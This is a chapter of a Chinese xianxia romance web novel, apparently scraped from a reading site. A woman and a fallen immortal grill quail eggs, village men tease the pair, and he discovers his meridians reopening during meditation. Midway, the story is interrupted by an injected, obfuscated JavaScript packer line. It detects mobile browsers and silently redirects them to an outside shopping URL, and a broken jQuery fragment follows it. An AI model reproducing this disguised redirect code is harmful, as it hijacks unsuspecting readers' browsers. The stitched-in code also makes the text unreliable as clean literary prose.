眼瞧着正午快过去了,林真肚子饿得咕咕响,在水井边忙忙碌碌地打水做饭。
这鸡子刚掏出来不过半天,还算是新鲜,不搓洗反而更好,但是林真刚才看到行周脸上的嫌弃,手上的动作纠结了起来。
高门大户出身的子弟,平时吃个饭也会鸡蛋里挑骨头,行周挑剔一些也实属正常,林真想了想,还是决定挽起袖子认真地揉搓干净,过了好几遍水。
在阳光下,林真白净细腻的手背上那道划至手臂的血痕尤其明显,在枣树上向下看的白雉瞬时精神萎缩,躲在树上也不再对行周叫嚣了。
而行周看到那道似是指甲用力划过的痕迹,眼里闪了闪,他低头看了看自己在流浪日子里不曾修剪的指甲,弯长得是有些尖利。
他的心里忽地掠过一个说不清道不明的念头。
难不成……是他自己划的?
行周扶额,一脸生无可恋却又无可奈何。
何况他如今寄人篱下还毫无贡献,强烈的自尊心不允许他依赖别人,他叹了口气,慢慢地抬步走近林真,出声道,“还是我来吧。”
“真的?”林真一时错愕,没想到他如此主动,吃药如此,吃鸡子也如此?
行周不明白她的错愕从何而来,耐着脾气解释道,“我总不能在这白吃白住。”
“那就麻烦你了。”
林真爽快地让开半步,那烂漫的笑容明晃晃地挂在脸上,堪比正午的日头明艳得刺眼,她手上甩掉的水迹化作了细碎的光点为其增辉。
整个人在阳光的照耀下,从里到外都是暖融融的,璀璨的。
行周慢慢收回了视线,心里油然而生一种无力的溃败感,在责任上,他已无法对其放任不理。
他默默地叹了一口气,将鸡子一个个地串在红柳枝上,动作有条有理,每一串都有考究似的,大小、数目、间距都要一致。
高门大户的子弟果真是吹毛求疵。
林真看在眼里,着实觉得行周这手法太过温吞,她已经蹲在烤炉前把桑木炭点燃了好半会,手里拿着葵扇,扇了两下停一会,忍不住抬头瞟他一眼,他仍是这般慢条斯理。
她不禁疑惑,难不成她眼里的吹毛求疵就是大家所说的优雅吧……
林真也不好意思催促他,只好往嘴里塞了一颗又一颗的枣子垫垫肚子,腮帮子鼓鼓的,嘴里含含糊糊地数着他串了几串。
行周感受到那股着急的目光,额间也渗出了汗,昔日行兵打仗,如若不熟悉地形和敌人,便万万急不得,此时慢就是快,切记要保持自己的节奏。
可他现在如芒在背,手上的动作还是在无形之中加快了,导致后来的那几串歪歪扭扭,他本人十分不满意,故意垫到了盘子最下面,眼不见为净。
院子里微风和煦,枣树的叶子在头顶沙沙地响,二人一人一张小矮凳,围着烤炉坐下摆弄眼前的肉串,烤炉把那两张脸都衬得发红。
偶尔风一吹,斑驳的阳光落在两人肩头,增添几分闲情诗意。
白雉不忍看到眼前同类被残害,又不敢打扰林真吃食的时刻,只能识趣地躲回了鸡窝,用尖嘴啄啄窝里发着亮的珠子解闷。
圆润的鸡子在炭火上渐渐收紧变了色,表面浮起一层油光,边缘微微焦黄,皮上偶尔冒出一个小小的油泡,“噗”地一声破开,流出一滴晶亮的油珠落在炭块上,又“滋啦”一声响起,冒出了一缕白烟袅袅上升,勾人的肉香和桑木炭的清香扑鼻而来。
行周目中神采绽开,露出几分新鲜奇妙,忽然福至心灵,体会到何为人间烟火。
林真率先伸手拿起一串,细致地吹了两下,递到行周面前大方道,“这个熟度刚好,你先尝尝好不好吃。”
昨日的行周已不是今日的行周,不过一日之别,心境发生了翻天覆地的变化,甚至以南辕北辙来形容最为恰当,他今后不止要活下去,还要好好地照料这个女子的一生,直到她死去。
幸好凡人的一生只有堪堪数十载,对神仙漫长无边的一生而言,不过是弹指间,当是消磨也不是难事。
行周又默默地在心里叹了一口气,似是把有生以来的叹息都在今日用完,他不再扭捏,接过来横在嘴前扯出一颗鸡子含在嘴里细嚼慢咽,细细品会。
桑木炭的清香裹着鸡子本身的嫩滑,在嘴里一下子化开,没有一丝腥气,意外地容易下口。
不得不说,凡人对美食确实有一手。
见行周神情不抗拒吃东西,林真一边咧着嘴笑了起来,一边拿着串左右开弓,好不容易咽了下去,手上已经重新又拿了两串。
趁着间歇的功夫,她赶快说道,“大娘说,你伤口还没好,不能吃任何酱料,要不然裹上再烤一会会更加入味。”
“我不能吃,你可以吃。”行周看她吃得开怀,心中竟生出一丝荒诞的满足感。
“唔唔唔。”林真嘴里含着东西还没咽下,在行周面前不想露出自己不得体的模样,她摆着头,鼻子哼出几声气音,似在表达“不”的意思。
行周眉头一展,眼里浮起一层自己不曾察觉的笑意,他缓道,“不着急,美食就是要慢慢品尝的,你先吃完再说。”
“嗯!”林真重重地点点头,她也是这么觉得的,心里越发对行周感到满意,长得好看还不说,对吃东西的想法也和她一致。
她把嘴里的东西咽干净了,扬起脸认真道,“大娘说过,无论是夫妻还是朋友,有难同当,有福同享,才能长长久久。你不能吃,我自然也不该吃。”
烤炉上的炭火还燃着,烤过头的鸡子不断往下滴着油脂,几缕白烟从炭缝里飘起来绕在两人之间,她吃得眉眼舒展,毫不掩饰对他的欢喜挂在嘴角,两侧的腮边自带红晕,鼻尖还沾着一粒黑灰,自己浑然不觉。
经过这几日的相处,行周对林真的个性有所了解,她率真坦诚,好的坏的都写在脸上,他自然也知道林真多想与自己成亲……
行周低下了头,摆弄着眼前的烤串,脸容沉静,心里却一团乱麻。
难道一定要成亲,才可以算是负责,才可以照料她吗?
过了正午,二人刚收拾妥当,来上工的邻里三三两两结伴走进院子,揶揄道,“阿真可算是回来了,你的小郎君可是挨在门口等你很久了。”
这几人都是村头不见村尾见的老叔辈了,林真这几天怕是没空理会房子的事情,只能寄望在他们身上,她礼貌地逐个打了招呼,“这几日就要麻烦几位叔了。”
“没事没事。”三叔拍着胸脯说道,“就包在我们身上吧,叔几个,你还信不过吗。”
坡叔打趣道,“你这刚回来没多久,这都过晌午了,外头天气热,你快和小郎君回房里歇息睡个午觉吧。”
“哈哈哈哈。”六叔附和道,“是呀,你们赶快去腻歪吧。”
庄稼汉子平时嘴里也没句正形,林真也没有当回事,但看到行周皱着眉头的样子,怕他不开心,把他拉进了卧房里,把门一关。
“你别怪他们粗鲁。”
林真拉着凳子坐在了行周侧边,吃饱喝足后眼皮也有些沉,她打着哈欠说道,“村里平时也没什么新鲜事,难得见个生面孔,嘴上就没个把门的,他们说什么你左耳进右耳出就是了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17922604|213421||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
林真的眼角沁出了泪花,一看就是困到不行,她起得早,又埋头干活了一早上,昨晚还不怎么睡,这会儿身体已经到了极限。
她临睡前迷迷糊糊地又再劝道,“你千万不要往心里去,不值当。”
行周只是今日听了一回,便觉得那腌臜话像噎在喉咙的鱼刺,不吐不快,可一旦与这种人辩论,却又觉得自己可笑。
他成为神仙千百载,活得比凡人都要长,竟也会与他们一般计较,那神仙和凡人的为人处世又有何区别?岂不可笑?
可林真也是凡人,她住在这里,日复一日地听着,无亲无故的,也不知听了多少个年头了,却可以做到淡然处之。
行周垂下眼,却也不知道说些什么,抬头时,林真已经趴在桌上睡着了,侧脸枕着手臂,圆润的脸颊堆出一小块软肉,呼吸绵长安稳,偶尔轻轻咂一下嘴,像是在梦里又吃到什么好东西。
如同一只餍足的软乎小猫,趣稚得让人无法移开目光,真想伸手去摸一把。
行周冒出这个念头的同时,他猛地打了个激灵,倏地坐直了身子,眼神一瞬间清明过来,随即不可置信地皱起眉来,只想狠狠打自己一巴掌,好让自己彻底清醒。
他究竟在想什么!?
非礼勿视,非礼勿动,非礼勿言。
行周立即上床盘腿,全神贯注地闭目打起坐来,任凭林真趴在桌子上睡得昏天暗地,他绝不让自己再看一眼。
本是只求静心,不料想行周竟察觉到身体内有一缕气体如溪水般汩汩流转,它在身体各处行走,经三关九窍均畅通无阻,最后在丹田汇聚,形成一团泛着光的雾状。
那分明是灵脉通顺之象,这也是凡人能够修炼的关键。
行周运行了几个小周天,徐徐吐出了一口浊气,不可思议地看着自己的掌心,一小股泛黄的气体如火苗般窜了出来,可惜不到一瞬就如气泡般消失不见。
从前只当自己是凡骨一具,一心寻死,也从没好好探过这身体,如今灵气顺畅通达,行周不禁有些恍惚。
这究竟是属于父神给自己所下禁制的一部分,还是父神对自己并没有那般无情!?
毕竟修炼得当终有回归天界那一天。
行周抬眼看向林真,她仍趴在桌子上睡得自在,殷红的嘴巴微翘,脸上被压得红彤彤,十分香甜。
能吃能睡,毫无烦恼,这种日子确实赛神仙。
窗外的天色稍稍暗了一些,接近黄昏时刻,院子里的声响也逐渐散去,隐隐约约听到黄瑛和古叔在门口絮絮叨叨,好像在说些什么。
黄瑛瞧着那些庄稼汉子下了工,趁着人少过来找林真,见到院子只有自己的夫君,疑惑打听道,“阿真呢?”
“还在屋里呢。”古叔拖着脚,把工具规整好,抻了抻腰,回道,“我这一下午也没瞧见阿真出来过。”
“可怜孩子,她昨夜没睡,一大早还上工赚钱去了,兴许是身子太累了。”黄瑛脸上有几分心疼,忽地话音一转,“病秧子还是太能折腾了,还不知道多久才能好。”
“你就别操心,他俩自能过好自个日子。”古叔提醒道,“你是不是找阿真,她再困这会也该醒了。”
“行,你给我回家做饭去,记得味道放重些。”黄瑛顿了顿,又提及道,“顺便熬个粥给那个病秧子。”
黄瑛这一整天心里藏着事似的,一直想找个单独时机和林真合计一下。
阿真那小郎君身上没个担子,得找个由头让他安分下来,好好过日子才是。
她敲了两下房门,轻声唤道,“阿真,睡醒了没,大娘找你有事。”